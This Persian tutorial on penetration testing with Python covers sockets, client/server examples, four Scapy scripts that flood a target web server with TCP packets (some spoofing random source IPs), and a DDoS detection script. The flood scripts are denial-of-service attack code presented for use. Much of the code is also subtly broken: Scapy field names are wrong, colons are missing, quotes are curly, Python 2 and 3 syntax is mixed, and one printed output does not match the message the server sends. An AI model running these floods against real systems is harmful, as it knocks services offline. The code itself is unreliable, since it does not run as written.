مقدمه
اگر بخواهیم تست نفوذ یا به انگلیسی (penetration testing) را به زبان ساده تعریف کنیم باید گفت که در تست نفوذ یک حمله از نوع سایبری را بر علیه سیستم یا تشکیلات کامپیوتری شبیهسازی میکنند. تا امنیت زیرساخت فنآوری اطلاعات (IT) آن سازمان را ارزیابی کنند. در واقع با انجام این تست به یک سازمان کمک میکنند تا با شناسایی نقاط آسیب پذیر در جهت بهرهبرداری از آن نقاط، آن سازمان، دفاع خود را در برابر حملات سایبری تقویت کند.
اصطلاح دیگری با عنوان اسکن کردن آسیبپذیری (vulnerability scanning) نیز وجود دارد. شاید برایتان سوال پیش آید که تفاوت این دو اصلاح در چیست. پس اجازه دهید در ابتدا به بررسی و تعریف این دو بپردازیم.
اسکن کردن آسیبپذیری، عملی است که به کمک آن به سادگی نقاط آسیبپذیر ذکر شده را شناسایی کرده و مشخص میکنند. ولی تست نفوذ، همانطور که قبلاً گفته شد، تلاشی است تا از آسیبپذیریها سوء استفاده کنند. تست نفوذ امکانپذیر بودن هر گونه فعالیت مخرب یا دسترسی غیر مجاز را در سیستم تعیین میکند.
میتوانیم تست نفوذ را برای سرورهای مختلف، شبکههای بیسیم، برنامههای کاربردی مربوط به وب، موبایلها و هر موقعیت بالقوهای با استفاده از فناوریهای دستی یا خودکار انجام دهیم. به بهانه تست نفوذ اگر بخواهیم از هر گونه آسیبپذیری سوء استفاده کنیم، باید آن را به مدیر شبکه و بخش IT ارسال کنیم تا خدای نکرده برای خودمان گرفتاری ایجاد نکنیم.
برای آموزش این بحث، علاوه بر درک عمومی از مفاهیم شبکه، باید در مورد زبان برنامه نویسی پایتون نیز اطلاعات داشته باشید. برای یادگیری زبان برنامهنویسی پایتون میتوانید از مجموعه آموزشهای فرادرس استفاده نمایید.
در ادامه بخش آموزش تست نفوذ با پایتون به اهمیت تست نفوذ میپردازیم. اهمیت تست نفوذ زمانی قابل درک است که با بررسی و ارزیابی امنیت یک سازمان، بتوان تضمین امنیتی آن سازمان را فراهم کرد. با استفاده از تست نفوذ، میتوان تهدیداتی را که ممکن است سیستم با آن مواجه شود، قبل آسیب رساندن به سیستم، شناسایی کرده و بدین ترتیب از محرمانگی سازمان حفاظت کرد. حتی میتوان به مدیریت کارایی و عملکرد شبکه پرداخته و امنیت فایروال ها، روترها و غیره را به دقت بررسی کرد.
در واقع تست نفوذ اجرای سیاستهای امنیتی در زیرساخت یک سازمان را تضمین میکند. فرض کنید اگر بخواهیم هرگونه تغییری یا بروزرسانی در مدلسازی شبکه از لحاظ نرم افزاری، سخت افزاری و … اعمال کنیم؛ تست نفوذ، سازمان را در مواجهه با هر نوعی از آسیب امن میکند. در ادامه به بخش اصلی بحث میپردازیم.
مفاهیم اولیه مورد نیاز در تست نفوذ با پایتون
فردی که قرار است تست نفوذ را انجام دهد باید در مورد مفاهیم اولیه شبکه مانند آدرسهای IP، آدرس Mac، زیر شبکههای طبقهبندی، زیر شبکههای بدون طبقهبندی، پورتها و شبکههای پخشی (broadcasting networks) اطلاعات کافی داشته باشد. چراکه فعالیتهایی مانند میزبانی در محدوده تعیین شده و خدمات، پورتها و ویژگی های پاسخگویی، مشخص میکنند که فرد ارزیاب چه نوع فعالیتهایی را در تست نفوذ باید انجام دهد.
۱- مدل یا پروتکل مرجع
بحث استانداردسازی درواقع توسط پروتکل مرجع بیان میشود. زیرا اشخاصی که از یک شبکه کامپیوتری استفاده میکنند از لحاظ موقعیت جغرافیایی و فیزیکی میتوانند در محدوده گستردهای قرار داشته باشند. در نتیجه مسلم است که دستگاههای آنها در شبکه معماری همگنی نخواهند داشت. برای برقراری ارتباط بین دستگاههایی که همگن نیستند، به یک پروتکل یا یک مدل استاندارد نیاز داریم که ارتباط بین این دستگاهها را برای ما فراهم کند.
پروتکلهای TCP/IP و OSI پروتکلهای مرجع هستند که از بین آنها OSI یک مدل فرضی و TCP/IP یک مدل عملی را برای ما فراهم میکند. هر کدام از این پروتکلهای لایههای شبکه منحصر به خود را دارند که در این مقاله به توضیح آنها نمیپردازیم.
۲- سوکت و نقش آن در بحث تست نفوذ با پایتون
سوکتها در واقع نقاط پایانی یک کانال ارتباطی دو طرفه هستند که ممکن است در جریان یک روند، بین فرآیندهای یک ماشین یا بین فرآیندهای ماشینهای مختلف ارتباط برقرار کنند. به بیانی دیگر یک سوکت شبکه، یک نقطه پایانی در ارتباط بین دو برنامه در حال اجرا، بر روی یک شبکه کامپیوتری مثل اینترنت است که موضوعی کاملا مجازی بوده و به معنای یک موجودیت سخت افزاری نیست.
سوکت شبکه را میتوان با ترکیبی منحصر به فرد از آدرس IP و شماره پورت شناسایی کرد. سوکتهای شبکه ممکن است بر روی تعدادی از کانالهای مختلف مانند TCP،UDP و غیره پیادهسازی شوند.
اصطلاحاتی که در مورد سوکت در بحث برنامهنویسی شبکه مورد استفاده قرار گرفته است به شرح زیر میباشند:
- دامنه (Domain)
- نوع ارتباط بین دو نقطه پایانی (type)
- پروتکل (protocol)
- نام هاست (Host name)
- پورت (port)
۳- ماژول سوکت پایتون برای برنامه نویسی سوکت
برای پیادهسازی برنامهنویسی سوکت در پایتون، باید از ماژول Socket استفاده کنیم. در ادامه یک دستور ساده برای ایجاد یک Socket آورده شده است.
import socket s = socket.socket (socket_family, socket_type, protocol = 0)
در کد بالا کتابخانه socket را وارد میکنیم (Import) و سپس یک سوکت ساده میسازیم. پارامترهای مورد استفاده در ساخت سوکت شامل موارد زیر است:
- socket_family : شامل پارامتر AF_UNIX یا AF_INET میباشد.
- socket_type : شامل پارامتر SOCK_STREAM یا SOCK_DGRAM است.
- Protocol : این مورد معمولاً حذف می شود و به طور پیش فرض برابر با ۰ است.
ایجاد ارتباط بین سرور و کلاینت
در ادامه بحث تست نفوذ با پایتون برای ایجاد ارتباط بین سرور و کلاینت، باید دو برنامه مختلف در پایتون یکی برای سرور و دیگری برای کلاینت بنویسیم.
۱- برنامه سمت سرور (Server)
در برنامه سوکت سمت سرور، از متد ()socket.bind استفاده میشود. این متد، سوکت را به یک IP و پورت مخصوص متصل میکند تا به درخواستهای دریافت شده روی همان IP و پورت گوش کند. پس از bind کردن سوکت، از متد ()socket.listen استفاده میشود تا سرور را در حالت گوش کردن (listening) قرار دهد.
عددی که نوشته شده (برای مثال فرض کنید اگر عدد ۶ باشد)، بهعنوان ورودی متد (۶)socket.listen است و منظور این است که اگر سرور مشغول باشد، تا ۶ اتصال منتظر میماند و اگر سوکت هفتم سعی کند وصل شود، اتصال رد خواهد شد. با استفاده از متد ()socket.send نیز پیغام، برای کلاینت ارسال میشود. در انتها هم از متد ()socket.accept برای شروع اتصال و ()socket.close برای بستن اتصال استفاده میشود.
import socket def Main(): host = socket.gethostname() port = 12345 serversocket = socket.socket() serversocket.bind((host,port)) serversocket.listen(1) print('socket is listening') while True: conn,addr = serversocket.accept() print("Got connection from %s" % str(addr)) msg = 'Connecting Established'+ "\r\n" conn.send(msg.encode('ascii')) conn.close() if __name__ == '__main__': Main() #خروجی به شکل زیر است socket is listening Got connection from ('192.168.43.75', 49904)
۲- برنامه سمت کلاینت (Client)
در سمت کلاینت نیز بایستی یک شیء از نوع سوکت ساخته شود و به پورتی که سرور، روی آن در حال اجرا است، وصل شود. در ادامه با استفاده از متد ()socket.connect یک اتصال بین سرور و کلاینت برقرار میشود و با استفاده از متد ()socket.recv، کلاینت، پیام را از سرور دریافت میکند. در انتها نیز، متد ()socket.close اتصال را قطع می کند.
import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) host = socket.gethostname() port = 12345 s.connect((host, port)) msg = s.recv(1024) s.close() print (msg.decode('ascii')) # خروجی به شکل زیر است Connection Established
نحوه مدیریت استثنا ها در سوکت شبکه
دو بلوک کد به نامهای ()except() ,try در اسکریپت پایتون زیر مشاهده میکنید که برای رسیدگی به استثناهای سوکت شبکه بکار میروند.
import socket host = "192.168.43.75" port = 12345 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: s.bind((host,port)) s.settimeout(3) data, addr = s.recvfrom(1024) print ("recevied from ",addr) print ("obtained ", data) s.close() except socket.timeout : print ("No connection between client and server") s.close() # خروجی به شکل زیر است No connection between client and server
در داخل بلوک try با استفاده از متد ()socket.bind سعی کردهایم که آدرس IP و پورت را به هم متصل کنیم. سپس از متد ()socket.settimeout برای تنظیم زمان انتظار برای کلاینت استفاده کردهایم. در مثال آن را روی ۳ ثانیه تنظیم کردهایم سپس بلوک except در صورت عدم ایجاد اتصال بین سرور و کلاینت، پیامی را چاپ میکند. در ادامه آموزش تست نفوذ با پایتون به حملات DoS و DDoS می پردازیم.
حملات DoS و DDoS
در این بخش از مقاله تست نفوذ با حملات DoS و DDoS آشنا خواهیم شد و نحوه شناسایی این حملات را یاد خواهیم گرفت. با رونق صنعت تجارت الکترونیکی، وب سرورها بیشتر مستعد حملات بوده و هدفهای آسانی برای هکرها هستند. هکرها معمولاً به دو روش حمله میکنند.
- DoS (Denial-of-Service)
- DDoS (Distribted Denial of Service)
حمله Dos
در این نوع حمله هکرها سعی میکنند یک منبع شبکه را از دسترس خارج کنند که برای این کار معمولاً ارتباط هاست را با اینترنت بطور موقت یا بطور نامحدود قطع میکنند. این حملات معمولاً خدمات حیاتی مانند سرورهای بانک، درگاههای پرداخت کارت اعتباری را هدف قرار میدهند.
انواع حمله DoS و پیاده سازی آن با پایتون
حمله DoS را می توان در لایههای پیوند داده، شبکه یا لایه برنامه (از سری لایههای شبکه) پیادهسازی کرد. اجازه دهید با تعدادی از حملات DoS آشنا شویم و آنها را در پایتون پیادهسازی کنیم.
۱- تک ip و تک پورت (Single IP single port)
در این نوع از حمله تعداد زیادی بسته از طریق یک IP و از یک شماره پورت به وب سرور ارسال میشوند. پیادهسازی آن با پایتون را با استفاده از کتابخانه Scapy در تکه کد زیر مشاهده میکنید.
from scapy.all import * source_IP = input("Enter IP address of Source: ") target_IP = input("Enter IP address of Target: ") source_port = int(input("Enter Source Port Number:")) i = 1 while True: IP1 = IP(source_IP = source_IP, destination = target_IP) TCP1 = TCP(srcport = source_port, dstport = 80) pkt = IP1 / TCP1 send(pkt, inter = .001) print ("packet sent ", i) i = i + 1
با اجرای اسکریپت بالا موارد زیر درخواست میشود:
- آدرس IP مبدا و مقصد
- آدرس IP مربوط به شماره پورت مبدا
- درنهایت تعداد زیادی بسته را برای بررسی رفتار سرور به سمت آن ارسال میکند.
۲- تک ip و چندین پورت (Single IP Multiple port)
در این نوع از حمله تعداد زیادی بسته از طریق یک IP و از طریق چندین پورت به وب سرور ارسال میشوند. پیادهسازی آن با پایتون را با استفاده از Scapy در تکه کد زیر مشاهده میکنید.
from scapy.all import * source_IP = input("Enter IP address of Source: ") target_IP = input("Enter IP address of Target: ") i = 1 while True: for source_port in range(1, 65535) IP1 = IP(source_IP = source_IP, destination = target_IP) TCP1 = TCP(srcport = source_port, dstport = 80) pkt = IP1 / TCP1 send(pkt, inter = .001) print ("packet sent ", i) i = i + 1
۳- چندین ip و تک پورت (Multiple IP single port)
در این نوع از حمله تعداد زیادی بسته از طریق چندین IP و از یک پورت به وب سرور ارسال میشوند. پیادهسازی آن با پایتون را با استفاده از Scapy در تکه کد زیر مشاهده میکنید.
from scapy.all import * target_IP = input("Enter IP address of Target: ") source_port = int(input("Enter Source Port Number:")) i = 1 while True: a = str(random.randint(1,254)) b = str(random.randint(1,254)) c = str(random.randint(1,254)) d = str(random.randint(1,254)) dot = “.” Source_ip = a + dot + b + dot + c + dot + d IP1 = IP(source_IP = source_IP, destination = target_IP) TCP1 = TCP(srcport = source_port, dstport = 80) pkt = IP1 / TCP1 send(pkt,inter = .001) print ("packet sent ", i) i = i + 1
۴- چندین ip و چندین پورت (Multiple IP Multiple port)
در این نوع از حمله تعداد زیادی بسته از طریق چندین IP و چندین پورت به وب سرور ارسال میشوند. پیادهسازی آن با پایتون را با استفاده از Scapy در تکه کد زیر مشاهده میکنید.
Import random from scapy.all import * target_IP = input("Enter IP address of Target: ") i = 1 while True: a = str(random.randint(1,254)) b = str(random.randint(1,254)) c = str(random.randint(1,254)) d = str(random.randint(1,254)) dot = “.” Source_ip = a + dot + b + dot + c + dot + d for source_port in range(1, 65535) IP1 = IP(source_IP = source_IP, destination = target_IP) TCP1 = TCP(srcport = source_port, dstport = 80) pkt = IP1 / TCP1 send(pkt,inter = .001) print ("packet sent ", i) i = i + 1
حمله DDoS
در حمله DDos (Distributed Denial of Service) برای غیرقابل دسترس کردن یک سرویس آنلاین یا یک وب سایت، با بارگذاری بیش از حد بر روی آن سرور از طریق ایجاد سیل عظیمی از ترافیک توسط منابع مختلف، آن سرویس را از دسترس خارج میکنند. حمله DDoS از تعداد زیادی کامپیوتر و اتصالات اینترنتی استفاده میکند.
تشخیص DDoS با پایتون
در این قسمت از آموزش تست نفوذ با پایتون به تست نفوذ DDoS با پایتون میپردازیم. از آنجایی که در این نوع حمله جعلی یا واقعی بودن میزبان ارسال کننده ترافیک مشخص نیست، شناسایی حمله DDoS کمی دشوار خواهد بود. اسکریپت پایتون ارائه شده در زیر به شناسایی حمله DDoS کمک میکند.
import socket import struct from datetime import datetime
در این بخش همانطور که در بخشهای قبلی ایجاد کردیم، یک سوکت ایجاد میکنیم.
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)
در این مرحله از یک Dictionary خالی استفاده میکنیم.
dict = {}
کد زیر یک فایل متنی را باز میکند که جزئیات حمله DDoS را در آن ضمیمه میکند.
file_txt = open("attack_DDoS.txt",'a') t1 = str(datetime.now())
با کمک کد زیر، هر زمان که برنامه اجرا شود، زمان جاری نوشته می شود.
file_txt.writelines(t1) file_txt.writelines("\n")
در این مرحله فرض میکنیم بازدیدها از طریق یک IP خاص صورت میگیرند. همچنین فرض میکنیم که اگر یک IP خاص بیش از ۱۵ بار بسته ارسال کند، یک حمله اتفاق افتاده است.
No_of_IPs = 15 R_No_of_IPs = No_of_IPs +10 while True: pkt = s.recvfrom(2048) ipheader = pkt[0][14:34] ip_hdr = struct.unpack("!8sB3s4s4s",ipheader) IP = socket.inet_ntoa(ip_hdr[3]) print "The Source of the IP is:", IP
کد زیر بررسی میکند که IP درDictionary وجود دارد یا خیر. اگر وجود داشته باشد، آن را ۱ واحد افزایش میدهد.
if dict.has_key(IP): dict[IP] = dict[IP]+1 print dict[IP]
کد زیر برای حذف افزونگی استفاده می شود.
if(dict[IP] > No_of_IPs) and (dict[IP] < R_No_of_IPs) : line = "DDOS attack is Detected: " file_txt.writelines(line) file_txt.writelines(IP) file_txt.writelines("\n") else: dict[IP] = 1
پس از اجرای اسکریپت بالا، نتیجه را در یک فایل متنی دریافت خواهیم کرد. برای یادگیری بیشتر درمورد امنیت اطلاعات و دادههای سایت میتوانید به آموزش پایتون فرادرس که توسط مهندس محمد سعید تدریس شده است مراجعه کنید.
سخن آخر در مورد تست نفوذ با پایتون
در این مقاله بطور کلی در مورد تست نفوذ با پایتون صحبت کردیم. توضیحاتی در مورد حملههای سایبری که ممکن است در وب سرورها و سرویسهای آنلاین اتفاق بیفتد و موجب از دسترس خارج شدن آنها شود مورد بحث قرار گرفتند. همچنین انواع این حملات شرح داده شد و در بخش پایانی در مورد حملات DoS و DDoS و انواع آن و چگونگی تشخیص این حملات مطالبی بیان شد و کدهای استفاده شده در پایتون برای این کار توضیح داده شد. در انتها پیشنهاد میکنیم حتماً مقاله IDE های زبان برنامه نویسی پایتون را نیز مطالعه فرمایید. امیدواریم این مقاله برای شما علاقهمندان مفید واقع شده باشد و در انتها از اینکه تا انتهای مقاله ما را همراهی نمودید سپاسگزاریم.
2 پاسخ
(‘من که اصلا نفهمیدم -_- نمیدونم چرا هی خطا میگیرم-_-‘)print
خیلی خوب توضیح داده اید.